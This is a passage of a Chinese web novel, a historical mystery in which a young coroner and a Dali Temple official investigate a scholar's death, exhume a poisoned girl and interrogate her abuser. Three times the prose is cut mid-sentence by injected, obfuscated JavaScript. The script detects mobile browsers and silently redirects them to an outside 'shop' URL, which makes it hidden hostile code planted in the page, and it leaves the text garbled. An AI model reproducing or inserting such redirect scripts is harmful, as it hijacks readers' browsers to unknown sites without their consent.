“大前日,没带过朋友,但好像……好像有人来找过他,说是他的朋友。” “你可有见过?” “没、没有。”婉兮轻轻蹙眉,摇了摇头,有些落寞道:“他似乎并不想我见他的朋友。” “那他还有没有向你透露过什么?”曲霜姿忽然正色,语气紧急又认真,“他失踪了,我们是大理寺的,特来此问讯寻找线索。” “什么!?”婉兮瞬间花容失色,眼神闪烁不定,她努力拨开混乱的思绪,企图从过往的甜蜜记忆中搜刮出来一些有用的消息。 “他没和我说过什么,只是偶尔有抱怨几句生活不易,说是他们寒门子弟难得很。他、他还说过他有个兄弟,只会死读书,根本不可能考的中……” 这兄弟怕就是王云廷。 沈无逆和曲霜姿对视一眼,更加专注地听了起来。 “他好像得罪过什么人,夜里常常有惊醒,说还钱什么的,我心疼他,还少收过他几次钱。” 众人面上都或多或少显露出惊讶的神色。 “听起来你们感情很好,那他有没有提过帮你赎身?”沈无逆又问。 婉兮眸光颤动,咬牙垂头:“没有。” “傻丫头啊,你不会让人给骗了吧。”冷香握紧拳头,忍不住替婉兮着急。 “你们就是在这儿认识的吗?”曲霜姿问。 “不是,我们是在街上偶然见过一次,”婉兮急出了几滴眼泪,慌慌张张地伸手揩去,“后来他来了温香楼,说是满盛京的寻了我许久。” 曲霜姿眼珠一转,露出兴奋而又狡黠的笑容,低声冲沈无逆做了个口型:“原来是一见钟情啊。” 她嘴上虽不正经,但心里却觉出了端倪。 婉兮的长相并不是人群中特别出挑的类型,个子也不高,看着比曲霜姿大不了多少,打扮得倒恬淡温婉,可实际上却只是个还未长开的怯弱小姑娘。 如果真如婉兮所言,那姜绍必是因为旁的什么原因才会如此苦苦寻她。 沈无逆:“还有别的什么吗?” 曲霜姿也附和:“对呀,他还有没有提过什么?你提供的信息十分关键,他已经失踪快两日了,凶多吉少啊!” 婉兮一听,眼泪便又扑簌簌往下坠,她咬牙道:“我知道他心里有别人……” “好像是叫杨静好。” “我猜,应该是我长得和她有几分相似。”婉兮挤出笑容,轻飘飘地吐出一口气,“哪怕短暂,但能得姜郎真心相待,我已知足。” 饶是无所谓似的模样,泪水还是顺着她脸颊淌下来。 曲霜姿心跳慢了一拍,整个心脏像是被突然挖走一块儿,又空又慌。 14. 死无葬身地 问完话,二人就出了温香楼。 曲霜姿还对婉兮姑娘的痴情感慨不已,沈无逆叹了一口气,“你这是触景生情了啊?” 两个被骗感情的傻姑娘,他默默腹诽。 “什么触景生情?我只是在想一个正值芳华的女子,怎么就为男人的一点点爱而觉得受宠若惊呢?” “啊?”沈无逆没听明白。 曲霜姿撅撅嘴,“每个人都值得被爱啊,像她这样善良的女孩儿,难道不是值得更好的吗?如今却要为一个品行不端的男人,卑微到尘埃里。” 沈无逆若有所思地点点头,正想附和几句,抬眼却看见了余家现在的少家主余千帆。 少年人十七八岁的模样,满身朝气,衣着华贵,却又有股甜腻的烟火气,倒是比旁的世家子弟看着平易近人的多。 他扭头,佯装不经意地看向曲霜姿。 果然,曲霜姿这个花痴紧紧盯着余千帆不放,她视线和余千帆相撞,少年居然颇具玩味地冲她笑了笑。 沈无逆顿时起了无名火,不管曲霜姿就走了。 直到余千帆进了温香楼,曲霜姿才收回视线,她在原地眨巴眨巴眼睛,回想这男人的脸,怎么和他余叔叔那么像呢? 难不成是余叔叔的儿子? 好吧……她小时候魂牵梦萦想要的阿爹,已经做了别人的阿爹了。 她跟在沈无逆身后,眼神难以抑制的落寞,也没了想说话的欲望,索性就在脑海里梳理起案情来。 二人互不理睬,沈无逆看着女孩又要往那家余千帆替她租下的客栈走去,心里就更加窝火,无论如果都要新开一间房。 “你怎么突然又这样大方了。”曲霜姿回神,对男人的行为很不理解。 “我比较喜欢自食其力。”他冷冷道。 曲霜姿嘴角一抽,这是点她呢…… 她心里不禁怀疑,余叔叔和沈无逆是不是有什么深仇大恨,怎么余叔叔以前的书信里让自己远离沈无逆,沈无逆又对余家人,尤其是余叔叔这样厌恶呢? “哦,行吧。” 在哪儿休息不是休息,反正不是她的钱。 — 沈无逆派手下查了查“杨静好”此人,却得知人已经死了,但其父母都长住盛京,还经营着一家衣料铺。 曲霜姿皱皱眉,“这就是你所说的,盛京常年太平?” “这杨姑娘正值妙龄,好端端地怎么就死了?” 侍卫白术不满曲霜姿这样质问沈无逆,替主人开脱道:“我家公子没说错啊,这杨姑娘就不是死在盛京,而是七日前死在梁县。” “因何而死?”曲霜姿敏锐地察觉出不对劲来。 “暴毙而亡,死在荒野。”白术答道。 “又是暴毙而亡?”曲霜姿看向白术,“你不会又要说,她也是见到了夜游神吧?” 白术摇摇头,干巴巴道:“这倒没有,但也不是没可能啊。” 眼下快要入夜,盛京城门已经快关闭,往日的盛京此时也依旧热闹。但今时今日不同,自从那夜游神的传说散播开来,盛京百姓以一传百,都被吓得不敢出来。 “世上可没有鬼神。”曲霜姿斜眼睨他一眼,“杨静好是盛京人,为什么会死在梁县?” 白术:“其祖籍在梁县,家中祖母喜静就长居梁县,杨静好为人孝顺,故而常回梁县看望祖母。” “只是杨静好为家中独女,突然暴毙而死,杨家夫妇都不肯相信,当时还去大理寺报过官,只是此案在梁县已有决断,所以就没有后续了。” 曲霜姿听着点点头,她稍加思索,扭头问沈无逆:“你手下里没有会作画的吗?” “没有,你要做什么?”沈无逆挑挑眉。 “自然是让杨家夫妇帮忙确认一下婉兮所说是不是真的。” 沈无逆没有吭声,叫白术拿来了纸和笔。 男人在摇曳的烛火下端坐着,曲霜姿就倚在后面的小罗汉床上眯着眼瞧。 沈无逆长发如泼墨,脊背挺拔如松柏,从曲霜姿的角度,刚好可以看见他的侧脸。曲霜姿低声笑了笑,又轻声道:“小白脸。” 男人一笔笔落在纸上,下笔熟稔,作画如行云流水、一气呵成,“好了。” 速度之快让曲霜姿不可置信,她探了探头,迅速来到桌前,顿时看呆了,“你还善丹青之道啊。” 画上俨然就是刚刚见过的婉兮,起码有九成像。 “幼时初来大安,虽作为太子伴读,所学却皆有限制,长此以往,琴棋书画反而样样精通了。”沈无逆苦笑一声。 “所幸二皇子可怜,我才能多读些书。这一身武术,也是跟着二皇子的老师偷偷学的。” 曲霜姿正欲安慰,沈无逆却突然扭头看她,“对了,你说的小白脸,到底是什么意思?” “说你看起来小,皮肤也白皙得很。”曲霜姿笑笑,随便解释一通,她举起桌子上的画,忍不住赞叹:“真好看啊!” “太像了。” 沈无逆有些得意,“那是。” “那咱们快走吧!”曲霜姿风风火火地了出去。 沈无逆刚高兴了没一会儿,又被无情地牵着鼻子走,但也只好捶捶自己的腰,站起来跟上去。 白术被晾在一边,心道自家殿下怎么也变得这样不沉稳了?跟着个小姑娘在满盛京地上窜下窜…… — 杨氏衣料铺内。 夫妇两看着婉兮的画像泣不成声,可见杨静好确实与婉兮有几分相像。 “两位节哀,”曲霜姿在心里默默叹惋,居然真是阿娘常说的“莞莞类卿”,她继续道:“我今日是来具体问问,关于贵千金的事情。” 杨静好的父亲杨硕情绪激动,推搡着二人不许他们进来,愤怒地嚷着:“我女儿刚死时你们官府不管,现在又找上门!来问!?” “我夫人因女儿死讯病了几日,现下才好,你们这是要要我们的命啊!” 沈无逆拦在曲霜姿面前,努力安抚男人的情绪,“眼下关乎另一桩命案,您女儿亦被牵扯其中,两案息息相关又都疑点重重,我大理寺意欲重新彻查此案。” 杨硕粗喘着气,一滴浑浊的泪水打在地上,男人缓缓抬头,声音嘶哑:“你们要如何查?” 沈无逆看向曲霜姿。 曲霜姿清了清嗓子,“贵千金过世已有七日,如今想要得知真相,只能开棺重新验尸。” 此话一出,沈无逆瞬间瞪大眼睛看向她。杨硕彻底暴怒,举起一旁的人台挥舞着赶二人出去。 曲霜姿却坚毅地站在原地不动,眼看着那木头做的人台要砸到她身上,她眼睛都没有眨一下。 然而下一瞬,她眼前一黑。 沈无逆飞身挡在曲霜姿面前,硬生生挨了一下,发出痛苦的闷哼声。 “我女儿本就死不瞑目,你们还要以这种方式折辱她!”杨硕也没有想真的要伤他们,登时扔下人台,佯装怒意嘶吼道:“滚!快给我滚!” 死者向来为大,掘死者坟墓、扰死者安宁,简直是大逆不道! 曲霜姿再敬重生命不过,何尝不知这道理,但她只能推开沈无逆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711872|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,硬着头皮往前:“您不是想知道您女儿死亡的真相吗?” “我敢说,我是全大安最好的仵作,查案验尸都不在话下,我以我的职务为担保——必将还贵千金一个公道!还您二老一个真相!”她不卑不亢,郑重许诺:“如果我验尸后一无所获,我将就此离开盛京。” 在场三人都是一愣,沈无逆更是清楚她这话的分量,几乎是脱口喃喃道:“你疯了吧……” 杨硕怔在原地,迟迟不作反应。 杨夫人止了哭声,从他男人身后走了出来,她看向曲霜姿,强忍着哭腔道:“小姑娘,我们夫妇二人老来得女,静好比你大不了多少岁,你……查吧。” “只求你能为我们静好找到真相,让她放心地走。”杨夫人说着说着,难以自持地泪如雨下。 好容易安抚好杨家夫妇,曲霜姿沈无逆这才松了一口气。 “那明日,我来接您二位。”沈无逆鞠了一躬。 走出衣料铺,沈无逆揉了揉被砸到的后背,闭眼叹了口气,曲霜姿愧疚道:“没事吧?要不去医馆看看。” 沈无逆摇摇头,冷声道:“曲霜姿,你确定杨静好的死另有隐情?” “我不信好端端的一个女子会轻易地暴毙而亡,还死在荒野之中。”曲霜姿目光如炬,认真地看着沈无逆:“姜绍、王云廷他们三人应该是相互认识,而且王云廷也是所谓‘暴毙而亡’,我不信天底下有这样巧合的事情。” “好。”沈无逆又叹气,点点头。 但男人忽得语气一转,严肃地看着曲霜姿:“只是你以后有什么想法、有什么行动之前,能先知会我一声吗?” “否则你闯下什么乱子还要牵连我,要是牵连到二皇子,那你我都将死无葬身之地。” 曲霜姿愣了愣,“你是担心我吗?” 沈无逆噎住,“我只是不想你再这样擅作主张,此次帮你查案已经是破例,我不想再卷入什么麻烦当中。” “行吧,那就早点回去吧,明日还有案子要查呢。”曲霜姿伸了个懒腰,转身朝着客栈的方向去了。 夜晚漆黑,只有远处的街依稀传来灯光,风呜呜地呼啸,竟恍如突然入了秋,吹得人凉嗖嗖的。 二人就此分道扬镳。 — 曲霜姿没想到第二天又会在客栈里碰见沈无逆,她哭笑不得地和男人打了个招呼,“早,沈公子,真巧呵。” 沈无逆扭头不看她,“这上房我昨日就定了,要是不住岂不是浪费钱财?” “行行行,沈公子有理,今日咱们去郊外墓地,不知沈公子能否借我一匹马?”曲霜姿笑着问。 沈无逆本打算安排曲霜姿和杨家夫妇一起坐马车,他诧异道:“你会骑马?” “会,不要小看我,我会得可多着呢。”曲霜姿骄傲地扬起头,这可是他余叔叔亲自教她的呢。 借一匹马并非什么难事,一行人很快出了城门,来到山岭之间。 除了杨家夫妇以外,还有一位满头白发的老妇人,应该是杨静好的祖母。 坟墓很快被挖开,土壤中露出棕红的棺椁来。 沈无逆命人都站远些,自己上前打算帮曲霜姿记录,曲霜姿却迟迟未动,闭上眼默哀许久,这才缓缓睁开眼睛。 她推开棺材盖,里面躺着一具女尸,女尸穿着极为精致的衣裳。三位长辈都不禁潸然泪下,杨夫人颤颤巍巍地伸出手来,“这是我亲手为女儿做的衣裳。” 曲霜姿深吸一口气,开始验尸。 “绝不是暴毙而亡。”她只看一眼就敢确定。 15. 知子之好之 “死者被发现时口眼是否张开?”曲霜姿看者女尸微胀的嘴唇,转而看向杨家夫妇。 得到肯定之后,她继续道:“死者面色乌青,口唇呈紫黑色,口眼鼻中有血痕,手脚指甲、部分裸露尸骨皆呈青黑色,腹部有膨胀。” “是中毒迹象,但也可能是死亡多时的正常现象,并非死时就有的。”曲霜姿抬头,“是否有之前县廨的验尸记录或是卷宗?” 沈无逆摇摇头,“卷宗所记极为简略,白术汇报的就差不多了。” 曲霜姿面色凝重。 “按照尸体情况,死者死亡时间应是在九日前,而非八日前。尸体腐烂情况严重,尸体为青黑色,无法辨别是否有伤痕,取些水、葱白还有醋来。” 沈无逆不明所以,他此时此刻已经被尸臭味熏得头昏脑涨了,心底是真佩服这个小妮子,他强忍恶心吩咐下去。 曲霜姿命人撑起个帐子,将上面人的视线遮的严严实实,随后才继续验尸。她轻轻褪去女尸的衣衫,目光渐渐下移,移到女尸下身处。 “有撕裂痕迹,□□突出,无黑血。”曲霜姿取了张棉布,探手进去,“有被人侵犯的可能。” “再找些皂角来。” 水易得,其他几样却要找人家去借。烈日炎炎似火烧,曲霜姿大汗淋漓,半晌才等到这两样东西。 只见她取出一枚银钗,用皂角水清洗清洗插入了尸体咽喉处,随即又用纸封住。一段时间后,曲霜姿取出银钗,那银钗赫然已经变成了青黑色,用皂角水也洗不净。 她吐出一口气,“这便是了,是中毒而死。” 曲霜姿用水慢慢滴在杨静好的皮肤上,部分地方的水滴竟意外地停留片刻,后才缓缓滑落。 “这些地方有可能就是伤处。”曲霜姿指道,“伤痕处皮肉比较坚硬,但时间过去太久,尸体已经变软,还需要别的方法佐证。” 她拍碎葱白,把葱白放在这些疑似伤痕的地方,又将纸浸醋后盖了上去。 “等一个时辰吧。”曲霜姿松了口气,抬眼看向杨家的三位长辈,语气沉重道:“贵千金应该是遭遇侵犯后服毒,又被抛尸,身上应该有少许伤痕,但并无死前挣扎的痕迹,自行服毒的可能比较大。” 她看向杨夫人,“夫人,是您为静好亲自换的衣裳吧,您早发现她遭人侵犯了,对吗?” “所以才坚决认为静好不是暴毙而亡。”曲霜姿顿了顿,“只是为何不上报官府呢?” “那姜绍背后有人,官府要是管早就管了!”杨硕气急,连眼泪都顾不得抹。 曲霜姿不解地看向沈无逆,沈无逆也一头雾水,他调查过姜绍,并未发现身份上有什么特殊的。 “替贵千金整理遗容时,还发现了什么?能告诉我吗?”曲霜姿诚恳道。 “她的衣服破烂,还有男人的……”杨夫人说不下去,再次哽咽,缓了一会儿又断断续续地补充,“静好甲间还有杂草枝……” 曲霜姿了然,点了点头。 一个时辰后,杨静好的尸身上果真显现出伤痕来,如曲霜姿所言,都是些小伤痕,并不致死,应该是死前遭人侵犯时留下的。 曲霜姿整理好少女的衣衫,轻手轻脚地闭上了棺材,随后又立在原地默哀一番。 — 梁县离得并不远,二人骑着马很快就赶到了。 二人打听到了姜绍的住处,很快翻了进去,沈无逆再度在心里感慨,这小姑娘会的真是不少。 姜绍家里空无一人,家中摆设并不普通,有好几件看起来名贵的瓷器。反而是作为一个书生,屋里却反常的没有几本书,仅有几本要么是俗气的香艳之书,要么就格外崭新,没有翻看的痕迹。 曲霜姿在院子里绕了一圈,找到一间锁着的柴房。她朝沈无逆使了个眼色,男人瞬间会意,拔出佩剑砍去。 “铮”的一声响起。 锁子却毫发无损。 这不应该啊,沈无逆常年习武,力气蛮大,这把剑也是二皇子亲手赐予他的好剑,如今却连个破锁都打不开。 再铆足劲挥砍几下,那剑竟然都有了豁口,把沈无逆心疼坏了。 这下二人更觉猫腻,这锁子绝对不是一般的锁子。 曲霜姿研究片刻,想要撬开最后还是失败,她眼珠一转,向沈无逆伸出手,“把我的‘长绝’给我。” “长绝?”沈无逆下意识问,很快反应过来是那把匕首,如果没记错的话,那把匕首该叫“临海潮”才是。 “‘故人长绝’的‘长绝’,我阿娘说这匕首曾有别的名字,然而并不好听,所以就改了。”曲霜姿顺口解释道。 好一个不好听。 天下如此匕首精绝的寥寥无几,而“临海潮”和“倚天穹”正是一对,一金一银、一龙一凤,临海潮不见已有多年,临天穹则是在当今陛下手中。 沈无逆曾在御书房见过。 他在心中嗤笑曲霜姿不识宝物,但还是从怀里掏出匕首,犹豫片刻还是不忍下手,万一再劈了怎么办? 曲霜姿不喜他磨磨唧唧的模样,眼疾手快地夺过,狠狠砍上门锁。她使的巧劲儿,配合刚刚仔细地观察,刚好砍在门锁最脆弱的地方,门锁瞬间脱落。 门一开,柴房内尘土四飞,曲霜姿提前屏息敛声,而沈无逆却是正合不拢嘴,被呛得咳了好几声。 柴房里不乱,但有种久不见天日的阴湿感。 柴房不大,柴也不多,倒是有一张不小的旧草席。 曲霜姿和沈无逆对视一眼,两人瞬间想到了一块,连忙蹲下来查看草席。草席被压得很实,是有人长期躺在上边,而一些地方明显有被人扯拽过的痕迹,还有疑似血迹的污痕。 沈无逆在四处翻找,竟从一堆柴堆间找到了一张布料,上头还有血字。 布料不大,血字难书,故而只有寥寥几个字。 “爹、娘,女儿不孝,错信了姜绍这个歹人。” 曲霜姿上手摸摸,是和杨静好身上新衣一样的衣料,她的心猛得一揪。 又是痴情佳人被人渣辜负。 姜绍生得一般,怎么就有能耐辜负婉兮、杨静好两位佳人呢? 《诗经》有云:“女曰鸡鸣,士曰昧旦。子兴视夜,明星有烂。将翱将翔,弋凫与雁。弋言加之,与子宜之。宜言饮酒,与子偕老。琴瑟在御,莫不静好。知子之来之,杂佩以赠之。知子之顺之,杂佩以问之。知子之好之,杂佩以报之。” 想来杨家夫妇老来得女,一直以来细心呵护,只愿女儿安康快乐,未来嫁得一如意郎君,琴瑟在御,莫不静好…… 知子之好之,杂佩以报之。 可是,静好却偏偏被渣男所误,死得凄惨。 而姜绍甚至在梦里都对杨静好念念不忘,理应杂佩以报之,可他给予心上人的——恐怕是恐怖的深渊。 曲霜姿咬牙,收好了血书,“咱们再去王云廷家。” 二人饶了几圈都没找着王云廷家,找了个面目慈善的老伯一问,才在一个偏僻处找到。大门破旧不堪,像风一吹就要破开似的,屋子也是又老又小。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711873|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>曲霜姿正探头探脑地端详书房里的陈设,外头的门却吱呀一声开了。 是方才那个老伯,曲霜姿和沈无逆对视一眼,都没有发出声音,想看看这老伯到底想做什么。 老伯佝偻着脊背,声音很是沧桑,“云廷?云廷?” 他蹒跚地走进书房,正好和无处可藏的曲沈二人打了个照面,登时被吓了一跳,“你!你们!” “你们是谁?到底来干什么的?” 沈无逆敛眉,手已经放在了佩剑上,偏偏却又挤出深不可测的笑容反问道:“老伯您又是谁?来此处干什么?” 老大爷活了这么多年,敏锐地感觉到了害怕,连连后退几步。 曲霜姿赶紧挡住沈无逆,“老伯,我们没有恶意,我们是来查案子的。” “你们是县衙的?”老伯脸皱成了一团,显然对县衙没有什么好感。 “我们是盛京来的,这位是大理寺寺正。”曲霜姿拽了拽沈无逆,沈无逆这才放下戒心,掏出一块令牌来。 老伯眯起眼睛仔细确认,随后喘了几口气,这才道来:“我是负责清理街巷卫生的役父,干了几十年了,也算看着云廷长大。” “我儿在县里开着书铺,书虽不多,但云廷他总去,我还叮嘱我儿要少收他先借书钱。”老伯叹道:“云廷知道后,便邀我常来他这里喝水休息。” “云廷是个好孩子啊,我见你们来找他,以为他回来了。”老伯眼里露出浓重的忧虑,“这孩子,这次怎么走了这么久?” 曲霜姿扶老伯坐下,甜笑地问:“您很了解云廷呢,和我讲讲吧。” 老伯脸色骤变,面露菜色,膝盖一软就要给曲霜姿跪下,“您二位是大官,云廷他是不是犯了什么事?” “这绝不可能啊!” “老伯您先起来。”沈无逆连忙上前,和曲霜姿一起把老人扶了起来。 老人家见曲霜姿眼神真挚,不像有欺骗的意味,咳了几声讲了起来:“云廷他是个老实孩子,他刚来梁县的时候,人那么丁点儿大。” “县里百姓都传,这是哪家大户人家的公子来养病,可哪儿像呢。” “原本云廷身边有几个人照顾,但小孩儿还是穿得寒酸,瘦瘦小小的。县里有钱人家的公子到了年纪都去私塾读书,他就被人扔在这院子里,只偶尔有人给他送些吃食来。” “云廷就常去私塾偷听,或是去我儿书铺看书,后来私塾的先生看他可怜这才收下他。” “有的邻里街坊心疼他,有了不穿的旧衣裳都送给他,多做了什么吃食也都想着法儿都塞给他。” “可后来……”老伯咳嗽地厉害了起来,眼底通红,“照顾他的人不许他再去私塾了,却拦不住他偷偷读书,那私塾的先生都说这孩子假以时日,一定会有所成就。” 曲霜姿听着,喉头也不由得哽住,不知该说什么好。 老伯的这番话,竟让她思念起了荨州的百姓。 “县里的人都说,云廷以后就是县里的大状元,但是当着县衙的面儿可不敢说。”老伯小心地抬头看着二人。 “怎么说?”曲霜姿红了眼睛,轻声问。 “那私塾先生曾透露过,是盛京的大人物派县衙来,不许云廷读书。” “这可怜孩子啊!”老人抹了把眼泪,重重叹了口气。 这大人物应该就是王大人了。 曲霜姿咬了咬牙,心里骂了几句这位表面光鲜亮丽的大人物。 “那您认识姜绍吗?”她认真地问,“还有杨静好、杨姑娘。” 16. 再现夜游神 “认、认识,”老伯想了想回答道:“姜绍那小子也是野着大的,他爹娘原都在外地做生意,这孩子就鬼精鬼精的,还好赌。” “和云廷完全不一样,但人不坏,也常帮着云廷。二人又打小认识,云廷性格孤僻,也就他这么一个朋友。” 曲霜姿点点头,“那杨姑娘呢?” “你说的是——杨老太前些日子死了的那个女儿吧,人清秀可爱、孝顺极了,真是可惜了……”老伯叹惋道。 “那他们三人关系怎么样?” “他们三个啊,”老伯想了想,“杨家闺女并非常住梁县,只是前几个月住得久些,姜绍那小子应该是先认识的杨姑娘,似乎是喜欢。” “那姑娘死时,姜绍可是哭得稀里哗啦。” 恶心,曲霜姿听得反胃,真是比最腐烂的尸体还要令人作呕。 但眼下还不是戳穿的时候。 沈无逆替曲霜姿继续询问:“那王云廷对杨静好呢?” 老伯噎了噎,思忖道:“应该只是认识吧。” “云廷应是无心交友、更无心情爱,只想着下半年的科考。” 沈无逆点点头,老伯说的和他之前的调查结果并没有太大出入,他拱了拱手,“多谢老伯了。” 老伯看着重新在王云廷书房里忙碌翻找起来的曲霜姿,疑惑地试探道:“您二位这是要查什么啊?” 左右是瞒不过的,沈无逆揉了揉眉心,一五一十地把案情相告。 曲霜姿有点责怪地看着沈无逆,怪他不该把王云廷的死讯轻易告诉老伯。 意料之中,老伯诧异地瞪大双眼,随即难以接受地瘫坐在地,掩面痛哭…… “您节哀。”曲霜姿知道,王云廷能如此得老人家喜欢,想必平日为人是不错的。她安抚了老伯许久,老伯这才平复情绪,却仍不肯相信,坚持要跟着他们回去看看。 二人只好先让老伯坐着等着,然后继续看看这屋子里还有没有什么旁的线索。 书房里有一张窄小的榻,屈居一个大男人实在是委屈,但另一间房很显然是常年无人居住的模样,应该就是那个所谓的从小照顾王云廷的人。 书架倒是整齐,书籍都泛了黄,是常被人翻看的。 沈无逆在架子上翻找片刻,正要放弃时,却掉出了一个香囊。曲霜姿眼尖地拾了起来,香囊样式精致,肯定是哪个女儿家给送给心上人的。 但据老伯所言,王云廷和女子应该没有什么交集才是。 曲霜姿狐疑地撑在书桌上,“怎么回事啊?” 有种越查越糊涂的感觉。 杨静好如果真是被姜绍关在那间柴房,又是哪里找来的毒药,那毒药又是什么毒药? 而那个劳什子夜游神,又是谁在装神弄鬼地吓唬人? 女孩疲累地坐在椅子上,“重点还是查夜游神啊……” 然而下一刻,她微微颔首,看见了一张不同的纸张。纸张的大半被书籍压着,二人早就看到了,粗略一扫,发现只不过是誊写的书籍内容。 但坐下来看时,最下边的一张纸字迹却没有上头的那么整齐,更像是谁说的一句话。 曲霜姿连忙把纸张抽了出来,上面写着一行潦草的字——“一身清贫怎敢入繁华,两袖清风怎敢误佳人”。 旁边又大大批了几个字:“考取功名!” 四个大字写得潇洒磅礴,盛满了青年人的壮志凌云、承载了青年人的希冀与拼搏,这张纸在曲霜姿手里忽得变得千万斤重,沉甸甸的。 二人心头狠狠一颤,同时心中也有了决断。 — 重回大理寺,沈无逆先把杨静好的案子断了,杨家三位长辈在公堂之上都泣不成声,杨硕夫妻二人更是两眼发黑、失魂落魄地站也站不住。 但曲霜姿看着杨父,总觉得哪里不对。 姜绍这个黑心肠的也掉了几滴眼泪,伏在地上给杨硕磕头谢罪,然而磕完头还不忘替自己喊冤道:“沈大人,我虽做了错事,可我没有杀人啊!” 曲霜姿气红了脸,怒问道:“你没有杀人,那杨静好是如何拿到毒药的?” “你既然口口声声倾心于她,又为何做出如此禽兽行为?”她扭头看了一眼沈无逆,指着姜绍不胜其怒道:“沈无逆,给他上刑!” 沈无逆亦被惊到,心想这小姑娘好生威风,他很快缓过神来清清嗓子,下令道:“押下去,给姜绍上刑!” 姜绍一听要上刑,扯着嗓子哭喊开来:“你们谁敢动我,我父可认识王大人!我父可认识当大官的!” 可沈无逆脸上却并无惊疑的意思,姜绍终于不敢造次了,“我说,我说。” 拉着他的捕快这才松了手。 姜绍跪在原地哆哆嗦嗦地解释:“我父亲是卖丹药的,家里难免会存放着些。”姜绍一把鼻涕一把泪,怯懦道:“那日我忘了锁柴房的门,她就……” “那你可知她吃的是什么药?”曲霜姿又问。 姜绍支支吾吾,一时半会儿怎么也想不起来,“好像散什么散。” “散魂散。”曲霜姿阖眸,轻飘飘地吐了口气。 “对,就是这个!她自己吃的,可不关我的事啊!” 曲霜姿猜对了,提审姜绍前她翻了本古医书。与其说是古医书,不如说是怪医书,上头的丹药都很罕见,有的居然说是能活死人肉白骨,简直是危言耸听。 而怪医书上记载,“散魂散”药如其名,就是能散了人的魂魄。在饮食中掺杂着用些,可以起到安眠的功效,剂量稍大后,用药者就会多梦,倘若是直接大量使用就会致死。 但书上还有一条——“患有心疾者哪怕不服用,只要吸入体内,就会心慌意乱、头疼难忍、产生癔症。” “你给王云廷也吃了吧。”她冷声地重复了一遍“散魂散”的功效,姜绍虽不肯承认,但肉眼可见地慌乱了。 “我和云廷是好兄弟,何苦要害他!?” 确实是没有实质性的证据,曲霜姿拿他没办法,只好再把人押了下去。 霍迁见杨家人互相搀扶地出了大堂,立即不爽地阴阳怪气起来:“你们这是闷声干大事啊,也不带着大理寺的弟兄们,是想独揽功劳吗?” 曲霜姿正愁苦,实在不想理他。 于是霍迁继续自顾自地嘲讽:“那你们也没把王云廷的案子查出来花儿啊。寺卿都说了,此案就了了,昨夜那夜游神可是又出现了,百姓们皆惶恐不安,我劝你们还是赶紧查吧,到时候影响了乞巧节,整个大理寺都要被问责。” 说罢,他嘴角噙着笑走了,好像和他没有任何关系似的。 也是,整个大理寺都要被问责,和他霍府公子有什么关系? 曲霜姿无奈至极,只好客客气气地询问还未走的林寻雁,“昨日当真又出现了夜游神?” 林寻雁点点头。 “那有没有因此产生伤亡?”曲霜姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711874|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着急问道。 林寻雁摇摇头。 曲霜姿和沈无逆同时松了口气。 三日后就是乞巧节了,这可怎么办才好?直觉告诉曲霜姿,这夜游神定是和王云廷息息相关的,而王云廷的案子以及简亲娇那边的困境都没有解决。 这案子实在不能就此草草了结。 她还需再审审姜绍。 大理寺地牢,空荡荡、黑压压的,没有几分活人的气息,曲霜姿一进来就起了满身的鸡皮疙瘩,姜绍竟然不怕被关在里头。 等等。 姜绍不怕被关,不怕被用刑,还说他的父亲认识王大人…… 也就是说,姜绍肯定是知道王云廷的真实身份的,甚至和王大人早就见过。 王大人他们不能轻易查,但姜绍如今人就在大理寺,甭管有多大的后台,眼下还是在他们手里。 曲霜姿冷笑一声,看向缩在角落里的姜绍。 “今日审了杨姑娘的事,倒忘了王公子的事儿,我可还答应了王夫人,要查出他儿子的真实死因呢。”她语气轻佻,漫不经心地把玩着自己的手指。 沈无逆就抱臂站在一旁,此刻也不装得和颜悦色了,浑身上下散发出阴冷气息来。 姜绍一听王家,神色不由得更紧张起来,“我可把我知道的都说过了。” “那恐怕还没有呢。”曲霜姿抬眸,眼底晦暗,竟然透出和沈无逆如出一辙的气质来,叫姜绍又吓得抖了抖。 曲霜姿问道:“你们二人是一起来的盛京?” 姜绍迟疑片刻,点了点头。 “撒谎。”曲霜姿单是看他眼神闪烁不定就知道,她跟着曲婧见过多少犯人,哪里还识不破这点谎言?更何况沈无逆已经问过看守城门的侍卫,王云廷就是早上入的城,夜半子时才不幸殒命。而姜绍还一连两日都去看过婉兮,甚至在婉兮那儿歇了一夜,二人怎么可能是一齐来的。 她看向沈无逆,“哝,这人渣还不老实。” 沈无逆掏出钥匙来,几步迈到姜绍面前,挺拔的身姿将地牢过道仅有的光堵的严严实实,他三下五除二别住姜邵胳膊,把人押得跪在地上,严词质问:“你来盛京后去了哪些地方?” “书铺……醉烟居、温、温香楼。”姜绍终于老实,颤颤巍巍地回答。 